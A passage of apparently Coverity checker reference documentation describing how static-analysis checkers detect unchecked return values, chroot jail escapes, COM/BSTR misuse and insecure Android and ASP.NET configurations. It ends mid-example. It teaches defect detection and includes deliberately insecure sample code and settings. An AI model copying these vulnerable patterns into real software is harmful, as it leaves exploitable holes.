- `java.io.Reader`
 - `read()`
 - `read(char[])`
 - `read(char[], int, int)`
 - `read(java.nio.CharBuffer)`
 - `skip(long)`

For the following methods (which read data from a byte-oriented input, store it into a buffer, and return the number of bytes that have been copied to the buffer or a negative value), `CHECKED_RETURN` also reports issues if the returned value is not used or is compared to 0. In such cases, the buffer can potentially be accessed outside of the range where the data has been copied by the read operation.

- `int InputStream.read(byte[] buf);`
- `int InputStream.read(byte[], int offset, int count);`
- Any override of the preceding methods.

Example:

```
int f(InputStream is) throws IOException
{
    byte buffer[] = new byte[10];
    // Number of copied bytes is ignored
    if (is.read(buffer, 0, 10) < 0) {
        return -1;
    }
    // 'buffer' may be accessed out of range.
    return buffer[9];
}
```

4.35.2. Examples

This section provides one or more `CHECKED_RETURN` examples.

4.35.2.1. C/C++

In the following example, four functions (`good_function_n`) test for return values when calling `function_with_error_code` . The function `bad_function` , at the end, does not check the return code for `function_with_error_code` .

This means that 80% of the code in the sample *does* check the function results. By default the `CHECKED_RETURN:stat_threshold:<percentage>` option is set to 80% as the threshold at which `CHECKED_RETURN` examines all the code for checking return values. As a result, it will report a defect for `bad_function` , because that function does not check the return value of `function_with_error_code` , thus violating the usage pattern for the code as a whole.

```
void good_function_1() {
    int rv = function_with_error_code();
    if (rv == -1)
        handle_error();
}

void good_function_2() {
    if (function_with_error_code())
        handle_error();
}

void good_function_3() {
    int rv = function_with_error_code();
    if (rv < 0)
        handle_error();
}

void good_function_4() {
    int rv = function_with_error_code();
    if (rv < 0)
        handle_error();
}

void bad_function() {
    // Defect: Function return code is usually checked.
    function_with_error_code();
}
```

4.35.2.2. Java

The following example produces a defect if the ratio of checked call sites to total call sites for `needsChecking()` is greater than 80:

```
needsChecking();           //Result not captured
```

```
int v1 = needsChecking(); //Defect: v1 is not checked
```

4.35.2.3. Go

The following example produces a defect if the ratio of checked call sites to total call sites for `needsChecking()` is greater than 80:

```
needsChecking()          //Result not captured  
v1 := needsChecking()    //Defect: v1 is not checked
```

4.35.3. Options

This section describes one or more `CHECKED_RETURN` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `CHECKED_RETURN:error_on_use:<boolean>` - When this option is set to `true`, the checker will treat the passing of the return value of one function to the parameter of another, without first checking that value, as a defect (if it concludes that the first function's return value is supposed to be checked). Defaults to `CHECKED_RETURN:error_on_use:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

If you specify this option, the second case in the following example is flagged as a defect:

```
// Usual:  
int rv = foo();  
if(rv)  
return rv;  
  
// Defect case:  
int rv = foo();  
bar(rv);  
//or:  
//bar(foo());
```

- `CHECKED_RETURN:stat_threshold:<percentage>` - This option sets the percentage of call sites to a function that must check the return value in order for the statistical analysis to conclude that all call sites should be checked. The percentage represents the proportion of "correct" code (that is, when function returns are checked) needed to flag "bad" code (function returns that are not checked) as a defect. For example, `stat_threshold:85` means that when 85% of function return values are checked, this checker flags the unchecked return values as defects. Defaults to `CHECKED_RETURN:stat_threshold:80`

This checker option is automatically set to `55` if the `--aggressiveness-level` option of **cov-analyze** is set to `medium` (or to `high`).

The following example requires 90% of return values of a method to be checked before reporting a defect:

```
-co CHECKED_RETURN:stat_threshold:90
```



Note

Defects found in code that inserts a primitive (see Example: Inserting a Primitive [p. 91]) are not subject to the `stat_threshold` option.

4.35.4. Annotations and Primitives

C/C++ only

You can insert the following primitive to specify that the return value of a function should always be checked (as opposed to being statistically inferred). The primitive will require any values that are returned by the function on its execution path to be checked.

```
void __coverity_always_check_return__();
```

In the following example, which inserts the primitive, the defect is reported at the `always_check_me()` call, because the value is not actually checked:

```
int always_check_me(void) {
    __coverity_always_check_return__();
    return rand() % 2;
}

int main(int c, char **argv) {
    always_check_me();           // CHECKED_RETURN defect
    cout << "Hello world" << endl;
}
```

Java only

For Java, `CHECKED_RETURN` recognizes the following annotation:

- `@CheckReturnValue`

You can use the `CheckReturnValue` annotation to specify that the return value of a method should always be checked.

For example, the following annotation indicates to `CHECKED_RETURN` to always check the return value of `annotRv`:

```
import com.coverity.annotations.CheckReturnValue;
....
@CheckReturnValue
public int annotRv() {
```

```
    return b ? 0 : -1;
}
```

See Section 5.4.2, “Adding Java Annotations to Increase Accuracy” and the Javadoc documentation at `<install_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html` for more information.

4.35.5. Events

This section describes one or more events produced by the `CHECKED_RETURN` checker.

- `check_return` - A function returning a value that must be checked was identified. The value is subsequently tracked to see if a check does take place.
`check_return` - Called method without checking return value.
- `example_checked` - Method return value was checked.
- `unchecked_value` - A return value was not checked properly. This event can occur if the return value is not captured at all, the return value is passed as a parameter to a second function without a preceding check, or the return value is captured but not checked before the variable holding that return value leaves scope.

4.36. CHROOT

Quality, Security Checker

4.36.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

CHROOT finds many instances where an application can possibly break out of a `chroot()` *jail* and modify the filesystem. To create a secure `chroot` jail, one must call `chdir` immediately after `chroot` to close the loophole of using paths relative to the working directory. This checker reports cases where the `chdir` call is missing.

A *jail* is a specific portion of a filesystem where the `chroot()` system call confines the program. After `chroot("dir")` has been called, the program's access to `/` is mapped to `"dir"` in the underlying filesystem. Also, as a security measure, the program's access to the parent directory (`".."`) from within that directory is re-directed so that the program cannot escape from the `chroot` jail. Even if a program is subsequently successfully attacked, the attacker cannot get access to the filesystem outside of the jail.

Disabled by default: CHROOT is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Security checker enablement: To enable CHROOT along with other security checkers, use the `--security` option with the `cov-analyze` command.

4.36.2. Examples

This section provides one or more CHROOT examples.

The following example generates a defect because the call to `chroot()` and then `open()` is susceptible to breaking out of the `chroot()` jail. The reason for having `fd` in the parameters list is to stop Analyzer from issuing an additional error.

```
char * read_from_network();
int chroot( char *);
int open (char * path, int mode);

void chroot_example(int *fd)
{
    char *filename;
    chroot("/var/ftp/pub"); //defect#CHROOT
    filename = read_from_network();
    *fd = open(filename, 0);
}
```

4.36.3. Events

This section describes one or more events produced by the `CHROOT` checker.

- `chroot_call`: A call to `chroot()`.
- `chroot`: After the call to `chroot()`, an unsafe operation was performed before calling `chdir("/")`.

4.37. COM.ADDROF_LEAK

Quality, COM Checker

4.37.1. Overview

Supported Languages: C++

`COM.ADDROF_LEAK` identifies uses of a `CComBSTR` or `CComPtr` instance that might cause memory leaks because the value of the pointer that is internal to the instance can be modified through the pointer address.

The checker tracks local non-static `CComBSTR` and `CComPtr` variables that have been determined as managing a non-null pointer. When the address of the pointer (obtained through the overloaded operator address-of (`&`)) is passed as an argument to a function call, the pointer value can potentially be overwritten, causing a memory leak.

Disabled by default: `COM.ADDROF_LEAK` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

4.37.2. Examples

This section provides one or more `COM.ADDROF_LEAK` examples.

A typical case involving a `CComBSTR` object is shown below:

```
class Customer
{
public:
    void getName(BSTR* pName) const
    {
        // The value of '*pName' is overwritten.
        *pName = ::SysAllocString(name_);
    }
    LPCOLESTR name_;
};

CComBSTR getCustomerName(const Customer& customer)
{
    CComBSTR name;

    // (1) Memory is allocated for a copy of the string literal and
    // hold through a pointer internal to the 'name' variable.

    name = L"Unknown";

    // (2) The overloaded operator address-of (CComBSTR::operator &) returns
    // the address of the internal pointer and the value of the pointer
    // is overwritten during the call to Customer::getName().
    // The memory allocated during the construction of the object in (1) will
    // never be deallocated and is therefore leaked.

    customer.getName(&name);

    return name;
}
```

4.37.3. Options

This section describes one or more `COM.ADDROF_LEAK` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `COM.ADDROF_LEAK:report_ccomptr:<boolean>` - If this option is set to `true`, enabled leaks on `CComPtr` objects are reported. Defaults to `COM.ADDROF_LEAK:report_ccomptr:false`

4.38. COM.BAD_FREE

Quality, COM Checker

4.38.1. Overview

Supported Languages: C++

`COM.BAD_FREE` finds many cases where the code violates the Microsoft COM interface convention regarding the lifetime management of pointers to interfaces. COM specifies that this management should be accomplished through the `AddRef` and `Release` methods found on every COM interface. It is an error to circumvent the reference counting mechanism by explicitly freeing a pointer to an interface, because other clients might share ownership of the same object. The `COM.BAD_FREE` checker finds many instances of these explicit frees.

Explicitly freeing a pointer to a COM interface can leave other owners of the instance with dangling pointers. This can possibly result in use-after-free memory errors, including memory corruption and crashes.

Enabled by default: `COM.BAD_FREE` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.38.2. Examples

This section provides one or more `COM.BAD_FREE` examples.

Explicit free of interface pointer:

```
void test () {
    IUnknown* p = new CFoo;
    delete p; // explicit free
}
```

4.38.3. Events

This section describes one or more events produced by the `COM.BAD_FREE` checker.

- `assign` : A pointer was aliased from one COM object or interface to another.
- `free` : A COM object or interface was explicitly freed.

4.39. COM.BSTR.ALLOC

Quality, COM Checker

4.39.1. Overview

Supported Languages: C++

`COM.BSTR.ALLOC` finds many cases of violations of COM interface conventions regarding memory allocation for parameters whose type is `BSTR` or `BSTR*`. COM defines memory management rules that specify the allocation behavior across COM function calls. Failure to heed these rules can lead to use-after-free and resource leak errors, which can result in memory corruption and crashes. In code bases that do not follow the usual conventions regarding `in`, `out`, and `in/out` parameters, the checker might report many false positives.

Primitive allocators and deallocators for `BSTR` that are tracked by this checker:

- Allocators

- `BSTR SysAllocString(const OLECHAR *sz);`
- `BSTR SysAllocStringByteLen(LPCSTR psz, unsigned int len);`
- `BSTR SysAllocStringLen(const OLECHAR *pch, unsigned int cch);`

- Reallocators

- `INT SysReAllocString(BSTR *pbstr, const OLECHAR *psz); cch);`
- `INT SysReAllocStringLen(BSTR *pbstr, const OLECHAR *psz, unsigned int cch);`

- Deallocator

- `VOID SysFreeString(BSTR bstr);`

Disabled by default: `COM.BSTR.ALLOC` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

4.39.2. Examples

This section provides one or more `COM.BSTR.ALLOC` examples.

In the following example, `myString` fails to free memory for `s`:

```
#include "basics.h"

namespace my_com_bstr {
    void myString()
    {
        BSTR s = SysAllocString(L"hi");
        SysStringLen(s);
    } // Defect: exits without freeing memory
}
```

In the following example, `f` returns freed memory:

```
#include "basics.h"
namespace test_inout_f {
    struct A {
        void f(BSTR *s);
    };

    void A::f(/*[in][out]*/ BSTR *s)
    {
        SysFreeString(*s);
    } // Defect: returns freed memory
}
```

4.39.3. Events

This section describes one or more events produced by the `COM.BSTR.ALLOC` checker.

- `alloc_call` : A value is allocated.
- `assign` : One value is assigned to another.
- `free` : A value is freed.
- `free_freed` : A defect is reported when a freed value is freed again.
- `free_not_owner` : Report a defect when a value owned by another entity (for example, a value that is stored in a structure that will eventually free it) is freed.
- `free_uninit` : A defect is reported when an uninitialized value is freed.
- `init_param` : Declaration of a parameter.
- `init_ptr_param` : Declaration of a pointer parameter.
- `transfer` : The ownership of a value is transferred to another entity, for example, a data structure, which will free the value when it goes out of scope.
- `leak` : A defect is reported when a resource is leaked (that is, not freed).
- `transfer_not_owner` : A defect is reported when ownership of a value is transferred by an entity that does not own the value.
- `use` : Use a value.
- `use_freed` : A defect is reported when a freed value is used.
- `use_uninit` : A defect is reported when an uninitialized value is used.
- `yield_freed` : A defect is reported when the ownership of a freed value is yielded.
- `yield_not_owner` : A defect is reported when an entity that does not own a value yields its ownership.
- `yield_uninit` : A defect is reported when the ownership of an uninitialized value is yielded.

4.40. COM.BSTR.BAD_COMPARE

Quality, COM Checker

4.40.1. Overview

Supported Languages: C++

`COM.BSTR.BAD_COMPARE` reports comparisons of BSTR-typed expressions that use the relational operators `>`, `<`, `>=`, and `<=`. Comparisons are treated as defects if either or both operands are BSTRs. The problem with using these operators is that relational comparisons are only valid for pointers that point to the same object, but each BSTR is an independent object, and a BSTR pointer always points to the same place within that object. So if two BSTRs are not equal, then the comparison is technically undefined, and it is practically unpredictable to test which is "greater".

Although technically pointers, BSTRs should generally be treated as opaque types with the only valid comparisons being `==` and `!=`.

Disabled by default: `COM.BSTR.BAD_COMPARE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

4.40.2. Examples

This section provides one or more `COM.BSTR.BAD_COMPARE` examples.

In the following example, two BSTR variables are compared with the `<` operator:

```
void f(BSTR b1, BSTR b2) {
    if (b1 < b2) { // defect
    }
}
```

In the following example, two BSTR expressions are compared with the `<` operator:

```
void f(wchar_t *w1, BSTR b2) {
    static int nothing;
    if (w1 < (nothing++, b2)) { // defect
    }
}
```

4.40.3. Options

This section describes one or more `COM.BSTR.BAD_COMPARE` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `COM.BSTR.BAD_COMPARE:arith_yields_wchar_t:<boolean>` - If this option is set to `true`, the checker treats any expression ` + <i>` for BSTR `` and integer `<i>` as though it has the type `wchar_t*` (instead of BSTR), which means that the checker will report fewer defects. Defaults to `COM.BSTR.BAD_COMPARE:arith_yields_wchar_t:false`

4.40.4. Events

This section describes one or more events produced by the `COM.BSTR.BAD_COMPARE` checker.

- `bad_compare` - Reports each defective comparison as an error.

4.41. COM.BSTR.CONV

Quality, COM Checker

4.41.1. Overview

Supported Languages: C++

`COM.BSTR.CONV` finds many instances where something that *is not* declared to have type `BSTR` is converted to something that *is* declared to have type `BSTR`. This conversion is an issue because `BSTR`s have a special structure that ordinary `wchar_t*` does not have.

For example, suppose that `wchar_t* w1` points to the string `L"hello"`. `w1` is not equivalent to a `BSTR b1` for the same string, because a `BSTR` is prefixed by the length (in bytes) of the string, whereas the contents of memory that is pointed to by a `wchar_t*` need not be. In this example, `*b1` is preceded by the integer 10 (5×2), and `*w1` is preceded by arbitrary data. Therefore, the `COM.BSTR.CONV` checker reports the assignment `BSTR b2 = w1;` as a bad conversion.

A bad conversion can lead to a crash if the recipient of the supposed `BSTR` treats it as a `BSTR`, rather than an array of `wchar_t`. For example, if the recipient calls `SysStringLen`, it inspects the four bytes of unpredictable values that precede the `wchar_t` array. The recipient will likely crash when it tries to interpret those bytes as a length. One such recipient is the COM marshaller, which is implicitly involved in any COM call that crosses apartment, process, or machine boundaries.

The main source of false positives is polymorphism: when a single type is used to hold many different kinds of values. For example, if a `BSTR` is passed by the Windows message queue, it is cast to a `WPARAM` or `LPARAM` at some point. When it is cast back to `BSTR`, the `COM.BSTR.CONV` checker reports a defect.

Enabled by default: `COM.BSTR.CONV` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

4.41.2. Examples

This section provides one or more `COM.BSTR.CONV` examples.

```
// some COM interface
struct IWhatever {
    virtual HRESULT foo(BSTR /*[in]*/ s);
};

void has_a_bug(IWhatever *w)
{
    wchar_t *ordinary_string = L"not a BSTR";
    w->foo(ordinary_string);    // bug
}
```

In this example, an ordinary wide-character literal string is passed as a `BSTR` object. If `w` refers (via a proxy) to an object that is not in the same COM thread apartment, the COM infrastructure attempts to marshal the string by reading the length prefix, with unpredictable effects.

4.41.3. Options

This section describes one or more `COM.BSTR.CONV` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `COM.BSTR.CONV:report_bstr_arith:<boolean>` - If this option is `true`, the checker treats arithmetic on a BSTR expression as though it produces a result of type `wchar_t*`, which means that the checker will report more defects. The additional defects might be considered false positives if the resulting pointer is only used in very limited ways, but it is still a questionable practice. Defaults to `COM.BSTR.CONV:report_bstr_arith:false`

For a BSTR expression `b` and integer `i`, `b += i`, `b -= i`, `b++` and `b--` are illegal because they attempt to assign a `wchar_t*` to `b`.

Similarly, the following code contains a defect, because `b2+2` is no longer considered a BSTR:

```
BSTR b1, b2;
b1 = b1 ? b1 : (b2 + 2);
```

4.41.4. Events

This section describes one or more events produced by the `COM.BSTR.CONV` checker.

A defect report indicates a location in the source code where an expression with a type other than `BSTR` is converted to `BSTR`, either implicitly or explicitly (with a cast). The reports describe the source expression, the type it has, and the syntactic context of the conversion. For the previous example, the report says:

```
Converting expression "ordinary_string" with type "wchar_t*"
to BSTR as parameter #2 of function IWhatever::foo with type
"HRESULT (struct IWhatever*, BSTR)"
```

This checker puts all issues found for a given function into a single defect report, with each issue as a separate event. This makes it easier to inspect the results, which are often essentially the same within a single function. But it also means that it is not possible to mark different issues within the same function as `FALSE` or `BUG`, because they all share the same status.

4.42. COM.BSTR.NE_NON_BSTR

Quality, COM Checker

4.42.1. Overview

Supported Languages: C++

`COM.BSTR.NE_NON_BSTR` finds many cases where a BSTR is compared to a non-BSTR expression. Sometimes this comparison occurs because the wrong pointers are compared, or the programmer

intended to compare string contents. The checker reports any comparison of a BSTR expression that uses the operator `==` or `!=` with a non-BSTR expression.

The justification for considering such comparisons as defects is that BSTRs are generally treated differently from variables of type `wchar_t*`. For example, a BSTR (or more precisely, the string that it is pointing to) is allocated in memory with `SysAllocString`, and the memory that is pointed to by a `wchar_t*` can be allocated using (among others) `malloc` and `new`; therefore, it is unlikely that two such variables point to the same memory location.

When a comparison is intentional, you can suppress these defect reports by casting the BSTR expression to a `void*`.

Disabled by default: `COM.BSTR.NE_NON_BSTR` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

4.42.2. Examples

This section provides one or more `COM.BSTR.NE_NON_BSTR` examples.

In the following example, a BSTR variable is compared to a `wchar_t*` with the `==` operator:

```
void f(BSTR b, wchar_t *w) {
    if (b == w) { // defect
    }
}
```

4.42.3. Options

This section describes one or more `COM.BSTR.NE_NON_BSTR` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `COM.BSTR.NE_NON_BSTR:arith_yields_wchar_t:<boolean>` - If this option is set to `true`, the checker treats any expression ` + <i>` for BSTR `` and integer `<i>` as though it has the type `wchar_t*`, instead of `BSTR`. Defaults to `COM.BSTR.NE_NON_BSTR:arith_yields_wchar_t:false`

4.42.4. Events

This section describes one or more events produced by the `COM.BSTR.NE_NON_BSTR` checker.

- `equality_vs_non_bstr`: Reports each defective comparison as an error.

4.43. CONFIG.ANDROID_BACKUPS_ALLOWED

Android Security Checker

4.43.1. Overview

Supported Languages: Android configuration files

`CONFIG.ANDROID_BACKUPS_ALLOWED` reports a defect in an `AndroidManifest.xml` file when an application is configured to allow its data to be backed up. Backup files can leak sensitive information or can be tampered with and then restored to the same or to a different device, potentially evading security controls and assumptions.

Disabled by default: `CONFIG.ANDROID_BACKUPS_ALLOWED` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

For Kotlin, `CONFIG.ANDROID_BACKUPS_ALLOWED` is enabled by default.

Android security checker enablement: To enable `CONFIG.ANDROID_BACKUPS_ALLOWED` along with other Java Android security checkers, use the `--android-security` option with the **cov-analyze** command.

4.43.2. Defect Anatomy

Android application data can be backed up through various means, including:

- The Android Debug Bridge (ADB), if it's enabled on a device. The user (or an application on the user's computer) can initiate a backup using the **adb backup** command.
- A third-party backup application running on a device.
- The auto-backup functionality introduced in Android 6.0 (<http://developer.android.com/training/backup/autosyncapi.html>).

By accessing backup files, an attacker might view or modify application data without having root access to the device. The application's stored data can be backed up to a local computer, to an SD card, or to a cloud service, and then restored to another device.

An attacker could initiate a backup on a user's device or could gain access to a user's existing backup in several ways, for example:

- An attacker that has physical access to an unrooted and unlocked device might be able to use **adb** or a backup application to access the contents of the application's data directory.
- A malicious application running without root privileges might be able to use the `BackupManager` interface to access the contents of the application's data directory.
- An attacker that has physical access to a device with an unencrypted SD card containing a backup of the application's data directory could remove the SD card and read the application data from another device.
- Existing backups created by the user and stored in various locations, such as the user's computer or a cloud service, could be compromised by exploiting vulnerabilities in those systems. This scenario could result in compromise of the data stored by the application.

Additionally, a user might do the following:

- back up the application data, modify it, and then restore it in order to bypass security controls that depend on the application's locally stored data.
- restore the data to a different device. This scenario could be problematic for an application that attempts to tie registration to a device and not allow the user to switch devices without re-registering.

To disable application backups, set the `android:allowBackup` attribute of the `<application>` element to `false` in the application's `AndroidManifest.xml` file. If the attribute is omitted, Android allows backups by default. See <http://developer.android.com/guide/topics/manifest/application-element.html> for details.



Note

The `android:allowBackup` attribute has little impact if the application is running on a rooted device. An application running with root privileges (on a device without SEAndroid, on a device with SEAndroid not set to Enforcing, or on a device with an SEAndroid policy that does not restrict the application's filesystem access) can always access and backup data for all applications on the device regardless of the value of the `android:allowBackup` attribute.

4.43.3. Examples

This section provides one or more `CONFIG.ANDROID_BACKUPS_ALLOWED` examples.

The following example shows an application in the `AndroidManifest.xml` file configured to allow backups:

```
<application android:allowBackup="true">
```

The following example shows the `allowBackup` attribute omitted, in which case it defaults to `true`.

```
<application>
```

4.44. CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED

Security Checker

4.44.1. Overview

Supported Languages: Java, Kotlin

The `CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED` checker finds situations where an Android application is configured to not enable code shrinking or code obfuscation in the release build. Code shrinking can be disabled by setting `minifyEnabled` or `isMinifyEnabled` to `false` (or omitted, as the default value is `false`). Code obfuscation can be disabled by omitting the `proguardFiles` setting. Not configuring code shrinking and code obfuscation for an Android application may result not only in a larger application size, but also in exposing application logic and sensitive functionality to attackers.

The `CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED` checker is disabled by default. It is only enabled in Audit Mode.

4.44.2. Examples

This section provides one or more `CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED` examples.

In the following example, two `CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED` defects are displayed for `minifyEnabled` and the `proguardFiles` setting, as `minifyEnabled` is set to `false` and the `proguardFiles` setting is omitted in the release build.

```
apply plugin: 'com.android.application'

android { //defect here for missing code shrinking //defect here for missing code
  obfuscation
    signingConfigs {
    }
    compileSdkVersion 26
    buildToolsVersion "28.0.3"
    defaultConfig {
      applicationId "com.google.android.gms.samples.vision.face.facetrackersnd3d"
      minSdkVersion 21
      targetSdkVersion 26
      multiDexEnabled true
      versionCode 1
      versionName "1.0"
    }
    buildTypes {
      release { // missing proguardFiles setting
        minifyEnabled false
      }
    }
  }
}
```

4.45. CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION

Android Security Checker

4.45.1. Overview

Supported Languages: Android configuration files

`CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION` reports a defect in an `AndroidManifest.xml` file when an application is configured to target a version of the Android operating system that is not the latest available.

Disabled by default: `CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

For Kotlin, `CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION` is enabled by default.

Android security checker enablement: To enable

`CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION` along with other Java Android security checkers, use the `--android-security` option with the **cov-analyze** command.

4.45.2. Defect Anatomy

Impact: Low

Targeting older versions enables compatibility behaviors when the application is run on a device with an operating system version higher than the targeted versions.

More importantly, targeting an older Android OS version prevents your application from taking advantage of security enhancements added in later versions. These security enhancements include the following:

- API 28+: Clear-text traffic blocked by default, improved Webview security, improved filesystem security via per-app SELinux domains.
- API 27+: Fingerprint handling improvements, new and safer cryptography algorithms.
- API 26+: Autofill framework, Google SafeBrowsing API, new telephony-related permissions, new Account Manager APIs.
- API 24+: Key Attestation, Network Security Config offering certificate pinning and clear-text traffic opt-out, scoped directory access, RC4 disabled for TLS/SSL connectivity.
- API 23+: Hardware Keystore, Fingerprint Authentication, App Linking, Runtime Permissions.

To maintain your application along with each Android OS release and take advantage of the latest security features, you should increase the value of the `android:targetSdkVersion` attribute to match the latest API version.

Remediation: Set the `android:targetSdkVersion` attribute to the most recent Android API, such as 29 or later.

4.45.3. Examples

This section provides one or more `CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION` examples.

The following example shows an application in the `AndroidManifest.xml` file configured to target API version 23 :

```
<uses-sdk android:targetSdkVersion="23" android:minSdkVersion="19">
    // CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION defect at previous line
```

The following example shows the `targetSdkVersion` attribute omitted from the application:

```
<uses-sdk android:minSdkVersion="19">
  // CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION defect at previous line
```

The following example shows the `<uses-sdk>` element omitted from the application:

```
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
  // CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION defect at previous line
  <application>
    ...
  </application>
</manifest>
```

4.45.4. Events

This section describes one or more events produced by the `CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION` checker.

- `MainEvent` - The configuration of the Android application that contains the outdated value for `targetSdkVersion`
- `Remediation` - Presents advice on how to address the defect.

4.45.5. Relationships with Taxonomies

OWASP Top 10 2017

A6:2017-Security Misconfiguration

OWASP Mobile Top 10 2016

M1:2016-Improper Platform Usage

Common Weakness Enumeration (CWE)

CWE-1032: Security Misconfiguration

4.46. CONFIG.ANDROID_UNSAFE_MINSDKVERSION

Android Security Checker

4.46.1. Overview

Supported Languages: Android configuration files

`CONFIG.ANDROID_UNSAFE_MINSDKVERSION` finds whether an Android application is configured to support old Android operating system versions that contain high-risk, publicly known vulnerabilities and that no longer receive security updates from Google or device manufacturers.

Applications that support known vulnerable Android versions are more likely to be using vulnerable versions of system libraries or APIs, leaving the application exposed to publicly known attacks. Readily available proof-of-concept code often exists for publicly known vulnerabilities, either by itself or as part of openly available testing tools. An attacker can leverage this code to exploit vulnerabilities more quickly since little or no time must be spent developing a working exploit.

An attacker might be able to exploit known vulnerabilities to attack functionality and APIs that the application relies on, the application directly, the user's data, and the device in general. The impact depends on the exact vulnerabilities present in the OS version(s) supported by the application, and might include information disclosure, loss of data integrity, remote code execution, etc.

We suggest that you do not support OS versions that contain high risk, publicly known vulnerabilities. Note that this will result in some users being unable to install the newer version of the application on an older device. Unless this is done carefully, these users will not only end up using an older, vulnerable version of the OS, but potentially also an older, vulnerable version of the application. The following steps outline one way to avoid this scenario while still dropping support for vulnerable OS versions:

1. Publish a new version of the application that checks the OS version and displays a warning like the following:

"This application includes functionality that requires a newer OS version. Please upgrade to the latest OS version to continue using the full functionality of the application. After <insert_date>, this application will no longer be usable on this OS version."

This might be a problem on Android where many devices might no longer be supported by the manufacturer. Therefore, dropping support for older OS versions and preventing some percentage of users from using the application will need to be a business decision. If the application does not already send its version number to the server during sensitive operations (e.g. in user authentication requests), add this functionality.

2. Publish a new version of the application that does not support the old vulnerable OS version. Users that have not upgraded their OS by this point will not be able to download this update.
3. On the server, when requests for sensitive operations come in from the old version of the application, return an error message indicating that the user needs to upgrade the application to the latest version in order to use the functionality.

Disabled by default: `CONFIG.ANDROID_UNSAFE_MINSDKVERSION` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

For Kotlin, `CONFIG.ANDROID_UNSAFE_MINSDKVERSION` is enabled by default.

Android security checker enablement: To enable `CONFIG.ANDROID_UNSAFE_MINSDKVERSION` along with other Java Android security checkers, use the `--android-security` option with the **cov-analyze** command.

4.46.2. Examples

This section provides one or more `CONFIG.ANDROID_UNSAFE_MINSDKVERSION` examples.

The following example shows an application in the `AndroidManifest.xml` file configured to support a minimum Android SDK version of 17:

```
<uses-sdk android:targetSdkVersion="29" android:minSdkVersion="17">
```

The following example shows the `minSdkVersion` attribute omitted, in which case it defaults to a value of 1:

```
<uses-sdk android:targetSdkVersion="29">
```

4.47. CONFIG.ASP_VIEWSTATE_MAC

Security Checker

4.47.1. Overview

Supported Languages: C#, Visual Basic

`CONFIG.ASP_VIEWSTATE_MAC` detects ASP.NET pages and applications where the generation of a View State Machine Authentication Code (MAC) is disabled. With ASP.NET version 4.5.1 and earlier, this setting might allow an attacker to upload and execute arbitrary code on the Web server.

Note

This security vulnerability was fixed in KB 2905247 (optional; December 2013) and in .NET 4.5.2 and later, making it impossible to disable View State MAC generation.

Disabled by default: `CONFIG.ASP_VIEWSTATE_MAC` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `CONFIG.ASP_VIEWSTATE_MAC` along with other Web application checkers, use the `--webapp-security` option.

4.47.2. Defect Anatomy

`CONFIG.ASP_VIEWSTATE_MAC` defects have a single event that identifies the security misconfiguration.

4.47.3. Examples

This section provides one or more `CONFIG.ASP_VIEWSTATE_MAC` examples.

The View State MAC can be disabled in a ASP.NET Web.Config file:

```
<configuration>
  <system.web>
    <pages enableViewStateMac="false" /> <!-- This is a defect -->
    ...
```

```
</system.web>
...
</configuration>
```

It can also be disabled for an ASPX page using the `EnableViewStateMac` attribute with the `Page` directive:

```
<%@ Page ... EnableViewStateMac="false" %>
```

4.48. CONFIG.ASPNET_VERSION_HEADER

Security Checker

4.48.1. Overview

Supported Languages: C#, Visual Basic

CONFIG.ASPNET_VERSION_HEADER finds cases where `web.Config` files fail to disable the inclusion of the X-AspNet-Version header. By default, this header is included. It is best practice to hide the information about your framework by removing HTTP response headers. You can do this by setting the `enableVersionHeader` attribute to `false`, as shown in the example.

Disabled by default: CONFIG.ASPNET_VERSION_HEADER is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable CONFIG.ASPNET_VERSION_HEADER along with other Web application checkers, use the `--webapp-security` option.

4.48.2. Defect Anatomy

CONFIG.ASPNET_VERSION_HEADER defects have a single event that identifies the security misconfiguration.

4.48.3. Examples

This section provides one or more CONFIG.ASPNET_VERSION_HEADER examples.

4.48.3.1. C#

```
<configuration>
  <system.web>
    <httpRuntime enableVersionHeader="true" /> <!-- Defect here. -->
    ...
  </system.web>
</configuration>

<configuration>
  <system.web> <!-- Defect here. -->
```

```
...
</system.web>
</configuration>

<configuration>
  <system.web>
